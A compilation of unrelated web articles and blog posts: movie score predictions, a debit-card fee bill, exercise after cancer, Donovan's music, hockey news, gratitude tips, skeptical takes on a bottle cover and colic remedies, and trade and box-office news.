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Whoo baby. The Rotten Watch is coming off a near sweep and feeling good this holiday weekend. This weekend, in honor of our great predictions, fireworks will go off all over this great nation of ours. This time around bosses get their comeuppance and zookeepers find love.
Just remember, I'm not reviewing these movies, but rather predicting where they'll end up on the Tomatometer. Let's take a look at what This Rotten Week has to offer.
There are two sides to my persona. There's the guy who enjoys reading and interpreting Pynchon, analyzing the Post-Impressionistic influences of Cezanne and Matisse, and heading down to the wine cellar every now and then for a bottle of Chateau Margaux. Then there's the guy who laughed more than twice during the trailer for Zookeeper. Suffice to say these to "selfs" are moderately contradictory. In fact one of them has me plain worried.
Now remember, not all movies need underlying levels of sophistication to do well with critics. In fact, some probably think all they need is a few talking animals (hell, who isn't an anthropomorphic junkie?), moderate levels of screaming, pratfalls aplenty, and the epically farfetched: a fat zookeeper standing even a speck of a chance with her or her.
That said, obviously Zookeeper stands no critical chance. It's a Kevin James vehicle after all (Paul Blart: Mall Cop - 33%, The Dilemma - 21%), with a little directing "help" from Frank Coraci (Click - 33%). **
** A quick reminder for newish readers: I tend to only go back a decade when analyzing directorial or acting work. I'm a "What have you done for me lately?" - kind of guy and Coraci's logged a more than a few crappy miles since The Wedding Singer.
Zookeeper is made for one purpose only. Know what it is? Did you say winning an Oscar? Close, but no, it's to get pre-teens dragging their reticent parents to the theater, where they'll drop a couple hundred middle class millions at the box office and get everyone paid. Man, actually that is kind of sophisticated. The Rotten Watch for Zookeeper is 27%.
Horrible Bosses
Did you know there is a holiday called Bosses Day? According to this site, Boss's Day is a time for "workers to appreciate their employers." This is how we know holidays in the United States have gotten completely out of control. A concept surely originally meant to be monumentally sarcastic and moderately ironic is now given an actual recognized day. What is the world coming to? Although the holiday would make a little more sense if we celebrated it by pulling off what the characters in Horrible Bosses hope to accomplish: icing their superiors. Now that would make October 16th worth it.
It's tough to get a read on this comedy. On the one hand the cast is close to an all-star lineup, with huge names occupying even the lesser roles. But consider this when watching the trailer: Did you laugh because there is actual comedy happening, or do you just think it looks funny because it should be with all those big names and faces. Those are diverging concepts and it may be that Horrible Bosses suffers from the latter (a comb-over sporting Colin Farrell aside, he looks hilarious). My brain was laughing, but I didn't even smile.
Remember, comedies need to be complete, top-to-bottom affairs to gain critical success. Acclaimed documentary and panned comedic director Seth Gordon (The King of Kong - 97%, Four Christmases - 27%) helms a movie with fairly high expectations, but critics will see through the big names to a flawed film. I'm gambling here. The Rotten Watch for Horrible Bosses is 44%.
Which Rotten movie will have the highest Tomatometer score?
Recapping last week:
Yes sir, the Rotten Watch had a strong showing. For a better part of the week I thought Transformers: Dark of the Moon (Predicted: 36% Actual: 38%) was going to be right on the nose. It ticked up slightly right at the end.
Meanwhile, my sentiments about Larry Crowne (Predicted: 49% Actual: 35%) were right on, even if the score was lower than expected. The film looked a little too good to be true.
Finally, Monte Carlo (Predicted: 30% Actual: 40%) falls just within ten percent. If anything, I thought my prediction was going to be too high. Shocked this many critics enjoyed it.
Next week Harry Potter calls it quits. It's going to be a Rotten Week!


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A measure moving through the US Senate aims to help consumers by demanding that the fees for a debit card transaction be "reasonable" and proportional to banks' processing costs.
It won't be an outright price cap, but the provision could affect millions of Americans every time they swipe their plastic cards to pay for gasoline or groceries.
One sign that the provision may succeed in lowering fees: Shares of financial firms fell Friday morning, a sign that investors expect bank profits to be squeezed if the measure becomes law. The immediate beneficiary of lower debit fees would be the retailers who pay them. But they might then pass some of the savings along to consumers.
Support for the measure came from both parties, with 17 Republicans joining 47 Democrats to add the card-fee measure as an amendment to a larger bill on financial regulatory reform. That bill would have to be passed and reconciled with its House counterpart before President Obama could sign it.
Although not all banking-industry analysts see it as a big win for consumers – or a big blow to bank profits – the measure could be one of the elements in financial reform that has the most direct impact on ordinary Americans.
Here's what it debit-card provision does, according to lead sponsor Sen. Richard Durbin (D) of Illinois:
• It would direct the Federal Reserve to issue rules to ensure that debit interchange fees are reasonable and proportional to the processing costs incurred by the card companies. Visa and MasterCard currently charge 1 to 2 percent of the transaction amount – "far higher than the actual cost of processing," Senator Durbin says. The Fed would not set a fee level but would have new oversight authority on the market.
• It would allow retailers to offer discounts for customers to pay by cash, check, or debit card. The amendment also allows merchants to set minimum-purchase amounts for use of cards.
• It would maintain a requirement that Visa and MasterCard demand merchants to accept all cards within their networks, including those of small banks or credit unions.
Industry analysts warn that, even if the provision ends up saving consumers some money, the impact could be complicated. Banks could raise other fees to offset the income they currently reap on debit transactions, for example.
Also, consumers could be inconvenienced if growing numbers of merchants add minimum-purchase rules that force people to use cash.
In morning trading Friday, an index fund representing regional banks was down more than 2.5 percent, while giant Bank of America fell just as badly.
Durbin argued that his amendment was needed because Visa and MasterCard control roughly 80 percent of the debit market, allowing them to set high interchange fee rates that apply to all banks within their networks. The Senate voted 64 to 33 in support of it.
This measure, focused on debit cards, would follow a high-profile law on credit cards: the Credit Card Accountability, Responsibility and Disclosure Act, which was passed in 2009. Key elements of it went into effect in February.
As with the Durbin amendment, critics warned that card companies would raise new fees to offset provisions in that law. But so far, "very few issuers have implemented inactivity or annual fees, two fees people feared would result from the restrictions of the Credit CARD Act," according to a study by Bankrate.com.


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Physical activity after treatment
Research has suggested that staying active after cancer treatment can help lower the risk of cancer returning and lead to longer survival. Adopting a physically active lifestyle – that includes light to moderate exercise (such as walking, biking or swimming) every day – has many health benefits.
Being physically active often improves a person's quality of life. As part of your wellness plan, exercise can help improve your mood, improve your sleep, boost your self-esteem and reduce fatigue and stress. It is also an important part of helping you maintain a healthy body weight after cancer treatment.
Exercise may be recommended as part of your recovery after cancer or some cancer treatments, to help you maintain range of motion in joints and muscles and maintain mobility.
General exercise guidelines
Talk to your doctor or healthcare team before starting any exercise or physical activity routine. They can suggest activities or programs that are safe and effective for you after cancer treatment. They can also refer you to professionals, such as a physiotherapist or exercise specialist, who can tailor an exercise program to meet your interests and needs.
What you need to work toward is getting moderately active for about 30 minutes a day or almost every day. Moderate physical activity includes activities such as brisk walking, tai chi or water aerobics, but it can also include raking leaves, vacuuming or doing the laundry. You can achieve your overall goal of 30 minutes a day in 3 separate sessions of 10 minutes each.
As you get more fit and stronger, you can slowly start more vigorous physical activity like running, doing martial arts or swimming laps.
Keep the following suggestions in mind when you start getting active:
- Start any exercise program slowly. Any activity should take into account what you can do and any physical limitations you have.
- Begin any exercise slowly, and gradually increase the number of times you do it.
- Slowly try to return to your precancer physical activities.
- Include physical activity in your daily routines, such as doing housework, gardening or walking instead of driving.
- Do activities or exercises that are enjoyable or try a variety of activities to keep you interested.
- Walking is one of the easiest ways to stay active any time of the year.
- Swimming or aqua fitness classes might be a good choice if you have difficulty walking.
- If possible, try to include some exercises that help strengthen muscles, increase flexibility and maintain range of motion, such as weight training.
- Follow the Canadian Physical Activity Guidelines when possible.
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Donovan and Psychedelic Rock
Donovan may not get as much airplay as the other 60s geniuses, but he has every bit as much talent. Every song of Donovan's is a masterpiece of both psychedelic weirdness and a sweet simplicity. The 60s, a complex time of rebellion and revolution, was also a much simpler time. That duality is evident in Donovan's work, which remains just as much a collection of treasures today.
The best known songs from Donovan are likely Hurdy Gurdy Man, Sunshine Superman, and the Season of the Witch. All have the qualities of a ballad but feature an obsessively-catchy refrain. The music was usually guitar based, and Donovan himself was a talented with the guitar, piano and harmonica. The music had a simple sound, though it was often made with a collection of exotic instruments. Donovan was one of the first classic rockers to use a sitar in his music- something later made famous by George Harrison and the Beatles' Eastern influences. The harpsichord also contributed to the unique sound that was Donovan's.
Donovan was also one of the first to be a vocal pacifist concerning the Vietnam War. Many of the other artists in the mid-60s were using sly references to the war in order to keep audiences, and record labels, from being offended. Donovan's songwriting was greatly influenced by the war. Some songs, including An Epistle to Dippy, were about his pacifist leanings and opposition to the war. An Epistle to Dippy, Donavan admitted, was about a friend who was in the military, stationed in Malaysia, and was written to persuade him to come home.
The music of Donovan was always been a little ahead of its time. Its use of the sitar influenced the Beatles, as did his skill with a guitar. Donovan was said to have taught a few guitar tricks to members of the Beatles, as well as contributing vocals to some of their songs. His outspoken attitude toward the war influenced others to speak out and create music that reflected their pacifism.
Though Donovan is associated with the 60s and flower power rock, he also released several albums in the 70s and 80s. Though those weren't as successful as the albums of his heyday, it may be because the era had moved away from folk-pop and hippie music, rather than a refection of the music itself. He continues to perform regularly, playing his greatest hits in small venues.
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I was doing a bit of sympathy shopping the other day (sympathy for whom you ask? Why, for myself!) and decided to buy a few things from Boots as opposed to Harvey Nichols (everything they give me is always slightly faulty anyway), in a faux 'look how frugal I'm being' stance.
I purchased three items and I nearly faked a concussion (again) at the till when the girl told me my total was about £27.60 (the 60p was for a 2 pack of Cadbury's chocolate caramel Bunnies by the way, yummmmmm).
Here's what I bought:
1 x Bourjois Matte Mousse Foundation £11.99
2 x Rimmel Lipstick £7.99 and £6.99 each
1 x Rimmel Sexy Curves Mascara £7.99*
(Rimmel was on 3 for 2, thankfully, otherwise I would have done the "Hey, look , there's Colin Farrell" thing to the check out girl and done a runner).
Erm…I think those prices are steep. I had no idea most drugstore / highstreet make up brands were basically rounded up to £10 these days. Back when I was a tween, everything was £2 and you'd get a free chocolate bar.
So what do you think? Am I just being stingy? Have I spent so long buying £30 lipsticks that I am madly out of touch with high street prices?


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Wild Training Campby Staff Writer / Minnesota Wild
The informal practices are over, as the NHL and NHLPA signed a new Collective Bargaining Agreement on Saturday night.
It's time to get down to business as the Minnesota Wild Training Camp, presented by Andersen Windows, opens on Sunday, Jan., 13. All training camp sessions will be held at Xcel Energy Center.
The Wild have recalled C Mikael Granlund and D Steven Kampfer from the Houston Aeros of the American Hockey League (AHL) and D Mathew Dumba from the Red Deer Rebels of Western Hockey League (WHL). The 26-man training camp roster can be found, here.
The team will hold a "Wild Wednesday" Let's Play Hockey Celebration on Wednesday, Jan. 16, that begins with the regular season ticket on-sale beginning at 8 a.m. and culminates with a free Red vs. White Intra-squad game at Xcel Energy Center, presented by Andersen Windows. Xcel Energy Center doors will open at 6 p.m. for the scrimmage. A ticket is needed for entry – season ticketholders can print their tickets off from their online account, while all other fans can print a ticket off for free via Ticketmaster.com. All fans will receive a $10 concession voucher (not valid for alcoholic beverages) and player-autographed jerseys will also be given away throughout the event.


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It's been almost a week since the Avs lost to the San Jose Sharks in Game 6 of the 2010 Western Conference Quarterfinals. Now faced with another month and a half of Av-less hockey, it's time for me to get all my thoughts on the 2009-10 season down on paper (blog).
I can safely say that this will go down as one of my favorite Avalanche seasons. It started off with a trip to Denver to see Joe Sakic Night, an event that I will never forget and registers as my favorite live sporting moment of all time. On that night, the Avs beat the Sharks and for most fans, it felt good to know that this team of unknowns wasn't going to go 0-82.
Then they started winning - and winning easily. They got off to a 10-1 start and were top of the Western Conference. Though they started to slowly come back to Earth, they never crashed, proving countless "experts" wrong.
Through February, Colorado had a decent chance for a Northwest Division title, but some disastrous third periods prevented that from happening. Instead, the Avs sputtered down the stretch but managed to hold onto the 8th seed in the West.
They lost to the Sharks. Season over.
I skipped some things along the way.
I, like many Avalanche fans, was shocked that Ryan O'Reilly was on the opening night roster. I figured he'd be sent down before the 10th game and that would be that. "Radar" or "The Factor" played in the 10th game, however, and settled in quite nicely to the third line center role for the entire season. O'Reilly was the best rookie in the league the first part of the season, and though his scoring dried up in the latter part of the season, his defensive play (especially his work on the penalty kill) more than made up for it. The Avalanche hadn't had a true third line center since Stephane Yelle left so many years ago. That problem has been fixed.
I could pretty much just go down the roster listing the surprising performances put in over the course of the year. Here are four more:
TJ Galiardi went from fourth line center to first line left winger/penalty killer and became a semi-legend in the playoffs. Gali is the ultimate flex-player, giving the Avs great versatility moving forward.
Brandon Yip was on a torrid goal scoring pace after being placed on the roster for a few games. He saw limited ice time early on, but Coach Joe Sacco recognized the effort he put into every shift. Yip became a go-to type player and will likely be a 2nd or 3rd line winger next year.
Matt Hendricks, aka "The 1-5" by Denver Radio commentator Mark Mosher, consistently put more effort into one shift than Tyler Arnason did in all his time with the Avalanche.
Coach Joe Sacco was supposed to be a transition coach. In other words, he was supposed to get through the next year or two and give Patrick Roy the reigns whenever Roy was good and ready. No longer the case. Sacco is now a Jack Adams candidate and deservedly so. He took a team full of rookies and managed to make them completely buy into his system. The up-tempo offense displayed by this Avalanche roster is exactly what was promised by Granato and Quenneville, but never delivered.
The Non-Goalie MVP
Chris Stewart - Kid was sent down mid-season because he did nothing on the ice. Can you say BUST? Oh, sorry..he was just biding his time. Apparently, getting sent down to Lake Erie for a couple games has the ability to completely transform a player's game. Due to some injuries, Stewie was given another chance on the Avalanche squad and became the leading goal scorer with 28 for the season. Stewart was dominant at times, using his speed and strength to punish defenders.
The Kid
Matt Duchene took over the role of most exciting player in his first year as a pro. Dutchy didn't really get it going until mid-season, but if posts counted as goals, Duchene would have scored 50 this year. Avalanche fans should find it ironic that he seemed to start producing after a game against Tampa Bay, home of Steven Stamkos whose rookie season basically mirrored Duchene's.
Did I forget anyone?
Words can't describe this man's awesomeness. We've been waiting for over 6 years to find a goalie that could backstop an Avalanche team. We've suffered through Aebischer, Theodore, Budaj, Raycroft, Kolesnik, and whoever else I'm failing to or not caring enough to remember. ANDERSON IS THE GUY. Not only does he know how to give one hell of an interview, Andy is a workhorse. He started 68 games this season and was still fantastic against the Sharks in the first round. He's the reason why the Avalanche were able to win games this season. Andy is the 2009-10 MVP. ANDY, ANDY, ANDY.
Video Fix Galore
Coming up this weekend, the best Avalanche moments of the year compiled in video format.
What a season. There are going to be plenty of good years ahead for this squad. After last year's horror, the 09-10 season was a joy to be apart of.
Go Avs.
Saturday, May 1, 2010
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The prettiest hair inspiration Pinterest has to offer
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We spend way too much of our free time on Pinterest -- whether hunting for design inspiration for our apartments or an outfit to inspire our next shopping trip -- so naturally that's where we turn when we want to switch up our hair. Really serious here. This editor has brought a Pinterest photo into Drybar with her and said "can you do this?" (Reason #231423 to love them -- they nailed it!)
And that's the best part of Pinterest, isn't it? Really, really pretty photos. So we give you our 15 favorite photos of gorgeous hair from our Pinterest perusing in the gallery. Be forewarned, you're going to want to run to the nearest mirror to try some of these out (or you might just print one for your hair appointment next week). We won't judge you if you do!
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Over low heat or in double boiler, heat Milk and cream till hot. Meanwhile, dissolve Coffee in boiling water. Before serving, beat Milk mixture with rotary beater-till foamy. Pour Milk mixture into one warmed pitcher or server, and Coffee in another. To serve: Fill cups from both pitchers at the same time, making the streams meet en route. Makes 6 servings.
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Grati-tweets & Grati-texts – And Other Ways to Express Gratitude (A High-Tech Approach!)
My alarm clock didn't go off. Someone had already used up all the hot water before I could take my shower. We'd run out of coffee (gasp!). And to top it all off… my "fat pants" were feeling a bit snug—aaaaaauuuuggghhhhhh! This was shaping up to be a miserable morning. I heard my phone chime and my heart skipped a beat. Had I gotten my times mixed—was I late for work? I snatched my phone off the table and saw the text:
"I just wanted you remind you how amazing you are and how grateful I am that you're in my life."
My eyes got teary and my heart swelled. My sister, a busy physician three time zones away, had taken 30 seconds out of her busy schedule and had changed the course of my entire day.
Studies have shown that one way of increasing your happiness setpoint is to practice being grateful. Studies vary slightly in their findings, but in a nutshell, writing down three things daily will raise your level of happiness more than writing down a list of items your grateful for weekly. Sharing your gratitude or appreciation with another person boosts your happiness level even more.
And get this! In one study, people who focused on gratitude rather than hassles felt more optimistic about their future, felt better about their lives and even did an average of 1.5 more hours of exercise a week. (So I can be happier and shed the fat pants!)
In this fast-paced, high-tech world, it may seem unrealistic to try to squeeze in one more task on your to-do list. Instead of switching from high-tech to high-touch, you can be high-tech AND high-touch! Take 30 seconds to practice "Grati-text." Think of someone who has made a real difference in your life, and shoot them a text telling them so.
Being happier has lots of benefits that go beyond just feeling better. You can be healthier, more creative, more productive, and people may find you more attractive! (Really!) So here are five more ways to practice High-Tech/High-Touch methods of gratitude so that you'll be happier and healthier right away.
Here are 7 quick High-Tech AND Hi-Touch ways to express your gratitude:
1. Express your gratitude in what I call a Grati-tweet (a tweet that expresses gratitude): 140 characters or less of your appreciation via Twitter.
2. Whip out your phone and send a Grati-text (A text message that expresses gratitude): Tell them how much you appreciate them and why.
3. Use the video function on your phone to record your thanks in less than 30 seconds. Then email, text it or post it on Facebook.
4. Record a video of gratitude and upload it to YouTube or Vimeo.
5. Send an e-card to someone that says "I appreciate you."
6. Leave a short voicemail for that special someone letting them know how special they are.
7. Create a playlist of songs that express your feelings of appreciation and upload on the recipient's iPod, phone, or other device.
Speaker, author, and neurohumorist Karyn Buxman, is committed to achieving global health through laughter and healing the humor impaired. Follow her on Twitter and Facebook for more tips on how humor and positive emotions can help you achieve success, significance and happiness.
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There is a problem though for the slick, lithe marketeers whose tempting fruit so many are captivated by, (only to be found later, heavy of heart and light of wallet) - the number of tricks they can pull are limited, obvious and well-documented.
The picture above is of a Photonizer Bottle Cover, sold by Accapi UK LLP in their Accapi Nexus range of products.
For a mere £20, you more efficiently hydrate your body during work-outs helping you beat your personal best in the pseudoscientific weightlifting. The Advertising Standards Authority has today ruled that the website advertising this product breaches its code on misleading advertising, substantiation and making unfounded medicinal claims. A quick look at the website shows why:
The top of the page has a quote from Simone Moro, so we can tick Argument from Anecdote and Argument from Authority straight away.
Next we have the name of the product itself - Nexus Photonizer. To me this sounds like one of Professor Frink's products, but ASA precedent has shown that if you use an invented word in your marketing, even though it sounds like another word with a defined meaning, you aren't implying that meaning. It's a very sensible marketing ploy.
Now we get to the product description, bit-by-bit:
Photonizer 4-14 is a revolutionary bottle cover, made using the exclusive Nexus fabric. Thanks to its constant natural emission of infrared rays, it has a beneficial effect on the properties of water and water-based liquids.
And there goes the science mangle, mangling its way to sillyness - Is there any evidence for this wonder material that can impart magic through plastic to water?
Accapi LLP provided ASA with a summary of a study that assessed the effect on the characteristics of water when exposed to NEXUS material. (The Nexus material, by the way, turns up in ZERO references in PubMed, the massive scientific literature searcher). Note the evidence - a summary (i.e. no methods, results etc) of a study which exposed water to the material. But water never touches the material if it's a bottle cover, so this evidence, even though minimal and flaky, is not even relevant. The ASA are too clever to miss that sort of wool-pulling and concluded the study was not robust enough to make any claims about "beneficial effects of water". Hence it was deemed misleading and unsubstantiated.
The effect of the Photonizer 4-14 bottle and flask cover on water and water-based liquids is very fast.
Unhelpful and meaningless, and Accapi LLP couldn't provide evidence to ASA - again considered misleading and unsubstantiated.
Scientific studies demonstrate that the natural infrared emissions of Nexus fabric have an important effect on a litre of water just ten minutes from the moment the Photonizer is applied to the bottle. Liquids reach optimum and stable hydration levels at 30 minutes and these properties and maintained. When the Photonize is removed, it takes a further 30 minutes for liquids to return to their original state.
Without any evidence, and with what has be shown above, there's no reason to give that any credence.
Benefits of Photonizer 4-14:
Improves the hydration of the body during training, competition and recovery
Speeds up and optimises the absorption and digestibility of nutrients contained in supplements (for example, salts)
Stimulates diuresis, resulting in a more rapid elimination of waste products
It appears from ASA evidence, that this is based on anecdotes from users, so the level of evidence is that of astrologers and faith-healers. Not surprisingly, the ASA concluded they were misleading and were medicinal claims which are not allowed in authorised products.
So, it's a new form sexy product full of exciting science, but it has the same old tricks of bullshittery concealed within:
1. Arguments from authority
2. Arguments from anecdotes
3. Not providing any robust scientific evidence
4. Provide unrelated scientific evidence perhaps in the hope that it will not be noticed
5. Use scientific words liberally and confidently - meaning is irrelevant
6. Get it seen on TV by making sure you get celebrity endorsement
In reality, it's a similar set-up to Dr Kenzo Kase's Kinesio Tape which was recently in the Observer as an advertorial, and an embarassment to the science journalists at the sister paper, the Guardian.
There are plenty of products in all different guises out there, but I'll warrant those tricks above (whether unintentionally or otherwise) will be used time and time again to sell you, the person they treat as an idiot, a worthless product.


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Tiny computers small enough to be swallowed could monitor your internal health or release drugs and medicine inside your body. The
is roughly 2 millimeters on each side. The chip includes a processor, RAM, ROM, clock and I/O control unit. Its memory is measured in kilobytes, but it also includes a 12-bit analog to digital converter and a low-power UART to help with translating data. Remember to swallow without chewing.
OUR ROBOT CARERS: Carebot P37 S65 from the University of Salford reminds its elderly patients to take medication and exercise. It also answers questions and tells jokes. It recognises faces and can be programmed with speech therapy and object recognition exercises to help people with dementia. Video conferencing and SMS capabilities mean the robot can also connect its patient with the outside world. The human-sized robot is just a prototype though, and needs investors to take it through to trials and further development. It's going to need a much better name though.
BELTS WITHIN BELTS: You know about the two Van Allen radiation belts around Earth, don't you? They're two distinct zones of trapped, highly energetic charged particles. After the Relativistic Electron Proton Telescope was launched in August 2012 it was supposed to wait months before being turned on so testing could be carried out. For various reasons it was turned on only 3 days after launch though — just in time to catch a big burst of radiation from the sun. That burst first enlarged the Van Allen Belts and then caused a third to be created. A month later the extra ring was destroyed by another powerful eruption from the sun. A lucky chance: the right place at the right time.
BANDS OF INFLUENCE: Gesture control is a really fun thing: wave a hand, flick a finger to make a device respond in a certain way. The Kinect, with its sensors, has been one way to achieve such control. The Myo controller from Thalmic Labs takes a very different approach. It's a band you wear on your arm. It uses embedded electrodes to detect activity in muscles that contract or relax in the course of moving the hand and arm. The signals are then sent wirelessly to an app that translates the gestures into commands. The electrodes don't even need to make direct contact with the skin. The first generation can recognise around 20 gestures. That could inspire a whole new breed of magicians and illusionists.
LITTLE BOXES: The Modularflex is a foldable disaster housing unit from Argentina that packs flat and can be assembled in about half an hour. Each unit has hinges half way up the walls. That means a module can collapse flat for easy and low cost transport and storage. The units are formed from insulated thermal panels with optional doors and windows, and can be connected together to create larger structures. The basic 7.4 square metre module includes electrical wiring and LED lights. Modules could also be used as living quarters in places like mining camps. The flat-pack storage and delivery really sets these ones apart.
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As I mentioned in my last post, last Christmas I became a parent for the first time. Like probably every other parent since the dawn of time, my wife and I became over-joyed, sleep-deprived, ecstatic, irritable, jibberish-talking, mono-dimensional, indecisive, happy-as-its-possible-to-be, braindead and amazed all at the same time.
Probably also like every other first time parent, it felt like it wasn't just the first time for us, but for the whole of mankind. It turns out, I now know, that the total sum of 25,000 years or so of human knowledge on early day parenting is pretty much "Do what you think is right".
I had never realised how effective sleep-deprivation is at reducing the average human to a jibbering jelly-wobble of indecision in just a few nights - it is used as a torture method for extremely good reasons, as a prisoner can be reduced to basic functionality very quickly, and as result the practice is banned under the European Convention on Human Rights. Very soon, dealing with the three basic childcare functions (eating, sleeping and nappy-filling) becomes more difficult than that dream you have when you are on Mastermind answering questions about 12th Century Russia, and you realise you're only wearing your pants. Stories from the hilarious near-misses to the other horrific extreme are plentiful and at least in part caused by an otherwise well-intentioned but sleep-deprived parent.
On top of the zombified brains of the parents, it turns out that the innate language of the newborn is loud crying - it appears to operate on a many-to-one relationship with no assistance given in establishing what issue is caused the howling. The amount of crying varies a lot from one to another, but the scale goes from "A LOT" to "INCESSANT". Throw in sleep deprivation and you have the following:
1. Potential for marital discord, postpartum depression, Shaken Baby Syndrome, suffocation, frequent visits to doctors and an increase in maternal smoking amongst other outcomes.
2. A huge and continual group of people, whose reasoning ability has been crippled, and who would do almost literally anything to alleviate the pressure they are under.
You can hear the marketeers of magic potions rubbing their hands.
Everyone knows what colic is and how it's dealt with. Except it turns out they don't, instead relying on perceived wisdom passed down the generation or osmosed from friends and adverts. My experience (from friends) is that having a baby screaming for what feels like an eternity for no reason on a fairly regular basis for those first few months is common and is just babies doing their newborn thing. This, in my experience, is difficult to deal with has two extremely painful psychological outcomes:
1. To have this beautiful bundle of happiness that relies on you for everything screaming without reason is surely indicative of BAD PARENTING and the noise hell is YOUR FAULT.
2. A responsible parent would DO SOMETHING ABOUT IT. (The something is irrelevant, as long as it is being done.)
It's no wonder that there is a huge market for colic relief products - what self-respecting marketeer could miss out on the opportunity to medicalise a natural part of life and sell some placebos to such a vulnerable, inexhaustable strata of exhausted consumers who are actively looking for an elixir?
It's even better for snakeoil salespeople that colic is undefinable - the strict definition is "a condition of a healthy baby in which it shows periods of intense, unexplained fussing/crying lasting more than 3 hours a day, more than 3 days a week for more than 3 weeks" but in reality it is a term given to any fussy/crying baby that seems to be crying more than the person would expect a baby to cry for. It resolves both the pyschological situations above - my baby has colic, and so I am not a bad parent and it is not my fault. More than that I CAN DO SOMETHING ABOUT IT!
Colic is historically assumed to caused by trapped gas somewhere in the innards - the babies tend to be stretching, bending, farting and burping whilst in the midst of a big yell, so it seems to make sense, but the truth is more likely to be a complex variety of causes and indeed it's poorly understood. This is only a minor inconvenience to the marketeers - people reckon it's gas, so they sell a product that treats the issue parents think their babies have.
It's worth noting that it was chiropractors claiming to treat colic that led Simon Singh to write in the Guardian in April 2008
The British Chiropractic Association claims that their members can help treat children with colic, [...], even though there is not a jot of evidence. This organisation is the respectable face of the chiropractic profession and yet it happily promotes bogus treatmentsThe quote lead to the BCA suing Simon Singh for libel, which resulted in the "Quacklash" (my own assistance is here), and lead to the BCA dropping the suit.
The Breastfeeding Network UK has provided an overview document here called "Assessing the Evidence - treatments for Colic" (2002) which covers most of the major products around - given the fact that colic is now considered to be a multi-cause issue, I'd be surprised if there was much new to discuss in the decade since it was written. Let me know if this is isn't the case.
Unsurprisingly, the major products treat (either directly or indirectly) the problem of trapped gas -
- Simethicone (sold in UK under the brandname of INFACOL(R)) is the leading selling product and has been shown to be no better than distilled water. Of course, such a minor truth wouldn't stop them from claiming that the "Trusted help for infant colic is right here".
- lactase enzymes (brand name COLIEF(R)) that are supposed to assist with transient lactase deficiency have also shown to be ineffective, or at the very least have a small number of poor quality trials that sort of show a dubious effect in some cases.
As you can see from the pic, COLIEF(R) claims to Reduce the Hours of Crying. Any sleep-deprived, vulnerable parent with a colicky baby seeing this will read no further than the marketing strapline and head for the tills. Obviously, it doesn't make mention of the fact that the studies (which involved very small numbers of babies) only looked at those cases which were believed to have been caused by lactase deficiency and that previous larger studies had found no correlation between lactase deficiency and colic. Talk about cherry-picking...
Mrs Dr*T picked up a similar COLIEF(R) leaflet in her GP's surgery - the marketeers making sure they had access to as many de-sleepified automatons as possible.
More positively, the UK adverts watchdog has today ruled that both the website and the leaflet were misleading and the claims could not be substantiated. The company who markets COLIEF(R) in the UK, Crosscare Ltd, despite being in Ireland and technically outside ASA's remit, were told that they had to have adequate substantiation before they could make efficacy claims in future and the ad must not be used again.
In my view, putting misleading literature with dubious claims in a doctor's surgery to cash in on vulnerable parents is not very classy. In fact, it's pretty shitty.
Most of our friends have tried and used these dodgy products sometimes with anecdotal success - given the cause of colic is unknown, it's path of presentation is also unknown, as is it's longevity. It's easy to see how a confusion of causality with coincidence could occur - colic only tends to last 12 weeks in the majority of cases, it'll take a few of those to get you to breaking point and a few more trying various treatments. Throw in a handful of regression to the mean and you can see how you get the mix up. We tried the one of the products ourselves on the advice of the health visitor. I was apprehensive and did some research only to find the evidence found wanting. In truth, the psychological impact of "doing something" was extremely persuasive, and it was a battle of rationality over gut-feeling to convince ourselves that the treatment was pointless, and we were just psychologically manipulating ourselves.
(The health visitor went on to recommend cranial osteopathy (which deserves a blogpost of its own) - when I said that the NHS website says there is no evidence for it, she claimed that was because "the NHS don't provide it and they only want people to use their services". Indeed.)
We're through the worst of those crazy, fun, exhilerating, desperate days and the brain is currently doing an excellent job of rewriting history and making me think that it wasn't as bad as we initially remembered, which I guess is a good thing.
One thing it won't stop me doing though, is getting angry and vociferous about companies who are prepared to see weak, vulnerable, sleep-deprived parents as an acceptable demographic for their bullshit potions.


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Graduation season is ramping up, and you know what that means: time to brush up on the proper spellings of "congratulations," "graduation," and that perennial head-scratcher: "yay."
Just when you thought you'd skipped all the hard words...
I'm not sure why bakers insist on mashing up the words "congratulations" and "graduation," but eventually you've seen so many crazy combinations that even this starts to look right:
This made me cackle for a solid fifteen seconds. Then I had to type it out, and that made me snorfle for another twenty:
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(I looked it up, and there's a Wiscasset in Maine - meaning all three words are misspelled. OPA!!)
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(What do you suppose the second line looked like before they "fixed" it?)
Cungalulations to today's wreckporters Elizabeth M., Reta W., Michelle W., Yvette A., & Lizzie and Taylor. You may now all throw your wrecks in the air and convene at the nearest Chili's for lunch.


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The Doha Development Round negotiations may be about to start on their eighth — or is it their ninth? — life after President George W. Bush and British Prime Minister Tony Blair agreed to try to give the talks one more chance.
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Schwab has said a Doha deal could be reached in six months or could take three years. She was in Brazil to try to find common ground with that country's government. Amorim and other Brazilian leaders have become the unofficial spokesmen for the G-20 group of developing countries that have become leading proponents for changing world trade rules.
"Brazil and the United States are leaders in this effort to help revive the Doha Round, and we see our meeting today as the beginning of a process that we hope our colleagues from other countries will also support," Schwab told reporters.
She repeated statements she and Agriculture Secretary Mike Johanns made following the suspension of the talks that the United States is not interested in a so-called Doha "Lite" agreement that would bring few changes in market access in the European Union or in countries with high tariff regimes such as Brazil and India.
The Bush administration has said it wanted to complete the modalities for a new trade agreement by the end of July so that details could be worked out and the final agreement presented to the U.S. Congress for an up or down vote before President Bush's trade promotion authority expires in July 2007.
The EU's Mandelson, meanwhile, has said an agreement is unlikely this year and probably will not be completed next year if trade promotion authority is not renewed. "We must avoid burning our bridges. We should try to find a way back to the table," he said in an op-ed article in the London-based Financial Times.


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Let's start with a few numbers. At Rottentomatoes.com, a Web site that quantifies movie reviews on a 100-point scale, the aggregate score for "Pirates of the Caribbean: Dead Man's Chest" stands at a sodden 54. Metacritic.com, a similar site, crunches the critical prose of the nation's reviewers and comes up with a numerical grade of 52 out of 100. Even in an era of rampant grade inflation, that's a solid F.
Meanwhile, over at boxofficemojo.com, where the daily grosses are tabulated, the second installment in the "Pirates" series, which opened on July 7, plunders onward, trailing broken records in its wake. Its $136 million first-weekend take was the highest three-day tally in history, building on a best-ever $55 million on that Friday, and it is cruising into blockbuster territory at a furious clip. As of this writing, a mere 10 days into its run, the movie has brought in $258.2 million, a hit by any measure.
